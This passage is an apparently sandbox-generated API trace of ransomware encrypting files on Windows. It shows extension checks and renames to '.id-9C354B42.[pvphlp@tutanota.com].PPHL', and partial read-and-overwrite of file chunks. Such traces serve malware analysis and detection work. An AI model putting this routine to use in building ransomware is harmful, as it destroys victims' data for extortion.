(normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0079.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.333] lstrlenW (lpString=".doc") returned 4 [0079.333] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.334] lstrlenW (lpString=".docx") returned 5 [0079.334] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0079.334] lstrlenW (lpString=".pdf") returned 4 [0079.334] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.334] lstrlenW (lpString=".xls") returned 4 [0079.334] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.334] lstrlenW (lpString=".xlsx") returned 5 [0079.334] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0079.334] lstrlenW (lpString=".ppt") returned 4 [0079.334] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.334] lstrlenW (lpString=".zip") returned 4 [0079.334] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.334] lstrlenW (lpString=".rar") returned 4 [0079.334] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.334] lstrlenW (lpString=".bz2") returned 4 [0079.334] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.334] lstrlenW (lpString=".7z") returned 3 [0079.334] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.334] lstrlenW (lpString=".dbf") returned 4 [0079.334] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.334] lstrlenW (lpString=".1cd") returned 4 [0079.334] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.334] lstrlenW (lpString=".jpg") returned 4 [0079.334] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.334] lstrlenW (lpString=".doc") returned 4 [0079.335] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.335] lstrlenW (lpString=".docx") returned 5 [0079.335] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0079.335] lstrlenW (lpString=".pdf") returned 4 [0079.335] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.335] lstrlenW (lpString=".xls") returned 4 [0079.335] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.335] lstrlenW (lpString=".xlsx") returned 5 [0079.335] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0079.335] lstrlenW (lpString=".ppt") returned 4 [0079.335] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.335] lstrlenW (lpString=".zip") returned 4 [0079.335] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.335] lstrlenW (lpString=".rar") returned 4 [0079.335] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.335] lstrlenW (lpString=".bz2") returned 4 [0079.335] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.335] lstrlenW (lpString=".7z") returned 3 [0079.335] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.335] lstrlenW (lpString=".dbf") returned 4 [0079.335] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.335] lstrlenW (lpString=".1cd") returned 4 [0079.335] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.335] lstrlenW (lpString=".jpg") returned 4 [0079.335] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.335] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0079.335] lstrlenW (lpString="osetup.dll") returned 10 [0079.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0079.336] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=7378792) returned 1 [0079.336] CloseHandle (hObject=0x1f0) returned 1 [0079.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0079.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.336] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0079.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0079.337] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0079.337] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.337] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.418] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.418] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.465] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.465] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.465] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.850] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.850] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0079.866] SetEndOfFile (hFile=0x1f0) returned 1 [0079.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fa3fb8 [0079.871] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.871] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa3fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa3fb8*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.873] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.873] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa3fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa3fb8*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.876] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.876] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa3fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa3fb8*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fa3fb8 | out: hHeap=0x5d0000) returned 1 [0079.880] CloseHandle (hObject=0x1f0) returned 1 [0079.880] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0079.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.880] lstrlenW (lpString=".doc") returned 4 [0079.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.881] lstrlenW (lpString=".docx") returned 5 [0079.881] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0079.881] lstrlenW (lpString=".pdf") returned 4 [0079.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.881] lstrlenW (lpString=".xls") returned 4 [0079.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.881] lstrlenW (lpString=".xlsx") returned 5 [0079.881] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0079.881] lstrlenW (lpString=".ppt") returned 4 [0079.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.881] lstrlenW (lpString=".zip") returned 4 [0079.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.881] lstrlenW (lpString=".rar") returned 4 [0079.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.881] lstrlenW (lpString=".bz2") returned 4 [0079.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.881] lstrlenW (lpString=".7z") returned 3 [0079.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.881] lstrlenW (lpString=".dbf") returned 4 [0079.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.881] lstrlenW (lpString=".1cd") returned 4 [0079.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.881] lstrlenW (lpString=".jpg") returned 4 [0079.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.882] lstrlenW (lpString=".doc") returned 4 [0079.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.882] lstrlenW (lpString=".docx") returned 5 [0079.882] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0079.882] lstrlenW (lpString=".pdf") returned 4 [0079.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.882] lstrlenW (lpString=".xls") returned 4 [0079.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.882] lstrlenW (lpString=".xlsx") returned 5 [0079.882] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0079.882] lstrlenW (lpString=".ppt") returned 4 [0079.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.882] lstrlenW (lpString=".zip") returned 4 [0079.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.882] lstrlenW (lpString=".rar") returned 4 [0079.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.882] lstrlenW (lpString=".bz2") returned 4 [0079.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.882] lstrlenW (lpString=".7z") returned 3 [0079.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.882] lstrlenW (lpString=".dbf") returned 4 [0079.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.883] lstrlenW (lpString=".1cd") returned 4 [0079.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0079.883] lstrlenW (lpString=".jpg") returned 4 [0079.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.883] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0079.883] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0079.883] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0x4fc [0059.777] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x37e0290 [0059.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x37f0298 [0059.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670298 [0059.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x6240d8 [0059.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702b0 [0059.778] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3bd0020 [0059.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702c8 [0059.779] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6702c8, Size=0x20) returned 0x626780 [0059.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6702c8 [0059.779] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6702c8, Size=0x20) returned 0x6267d0 [0059.779] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0059.779] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0059.779] Wow64DisableWow64FsRedirection (in: OldValue=0x32cff58 | out: OldValue=0x32cff58*=0x0) returned 1 [0059.779] lstrlenW (lpString="kernel32.dll") returned 12 [0059.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626780 | out: hHeap=0x5d0000) returned 1 [0059.779] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6267d0 | out: hHeap=0x5d0000) returned 1 [0059.779] Sleep (dwMilliseconds=0x64) [0060.225] lstrcmpiW (lpString1=".ttf", lpString2=".PPHL") returned 1 [0060.225] lstrlenW (lpString="kor_boot.ttf") returned 12 [0060.225] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.463] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=2371360) returned 1 [0060.463] CloseHandle (hObject=0x1ac) returned 1 [0060.463] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0060.464] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.464] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0060.464] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.464] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.464] lstrlenW (lpString=".doc") returned 4 [0060.464] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.464] lstrlenW (lpString=".docx") returned 5 [0060.464] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.464] lstrlenW (lpString=".pdf") returned 4 [0060.464] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.464] lstrlenW (lpString=".xls") returned 4 [0060.464] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.464] lstrlenW (lpString=".xlsx") returned 5 [0060.464] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.464] lstrlenW (lpString=".ppt") returned 4 [0060.464] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.464] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.464] lstrlenW (lpString=".zip") returned 4 [0060.464] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.464] lstrlenW (lpString=".rar") returned 4 [0060.464] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.464] lstrlenW (lpString=".bz2") returned 4 [0060.464] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.464] lstrlenW (lpString=".7z") returned 3 [0060.464] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.464] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.464] lstrlenW (lpString=".dbf") returned 4 [0060.464] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.464] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.464] lstrlenW (lpString=".1cd") returned 4 [0060.464] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.465] lstrlenW (lpString=".jpg") returned 4 [0060.465] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.465] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.465] lstrlenW (lpString=".doc") returned 4 [0060.465] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString=".docx") returned 5 [0060.465] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.465] lstrlenW (lpString=".pdf") returned 4 [0060.465] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString=".xls") returned 4 [0060.465] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.465] lstrlenW (lpString=".xlsx") returned 5 [0060.465] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.465] lstrlenW (lpString=".ppt") returned 4 [0060.465] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.465] lstrlenW (lpString=".zip") returned 4 [0060.465] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.465] lstrlenW (lpString=".rar") returned 4 [0060.465] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString=".bz2") returned 4 [0060.465] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString=".7z") returned 3 [0060.465] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.465] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.465] lstrlenW (lpString=".dbf") returned 4 [0060.465] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.465] lstrlenW (lpString=".1cd") returned 4 [0060.465] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.465] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.465] lstrlenW (lpString=".jpg") returned 4 [0060.465] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.466] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.466] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.466] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.466] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=93248) returned 1 [0060.466] CloseHandle (hObject=0x1ac) returned 1 [0060.466] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0060.466] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.466] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.466] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.466] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.466] lstrlenW (lpString=".doc") returned 4 [0060.466] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.466] lstrlenW (lpString=".docx") returned 5 [0060.466] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.466] lstrlenW (lpString=".pdf") returned 4 [0060.466] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.466] lstrlenW (lpString=".xls") returned 4 [0060.466] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.467] lstrlenW (lpString=".xlsx") returned 5 [0060.467] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.467] lstrlenW (lpString=".ppt") returned 4 [0060.467] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.467] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.467] lstrlenW (lpString=".zip") returned 4 [0060.467] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.467] lstrlenW (lpString=".rar") returned 4 [0060.467] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.467] lstrlenW (lpString=".bz2") returned 4 [0060.467] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.467] lstrlenW (lpString=".7z") returned 3 [0060.467] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.467] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.467] lstrlenW (lpString=".dbf") returned 4 [0060.467] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.467] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.467] lstrlenW (lpString=".1cd") returned 4 [0060.467] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.467] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.467] lstrlenW (lpString=".jpg") returned 4 [0060.467] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.467] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.467] lstrlenW 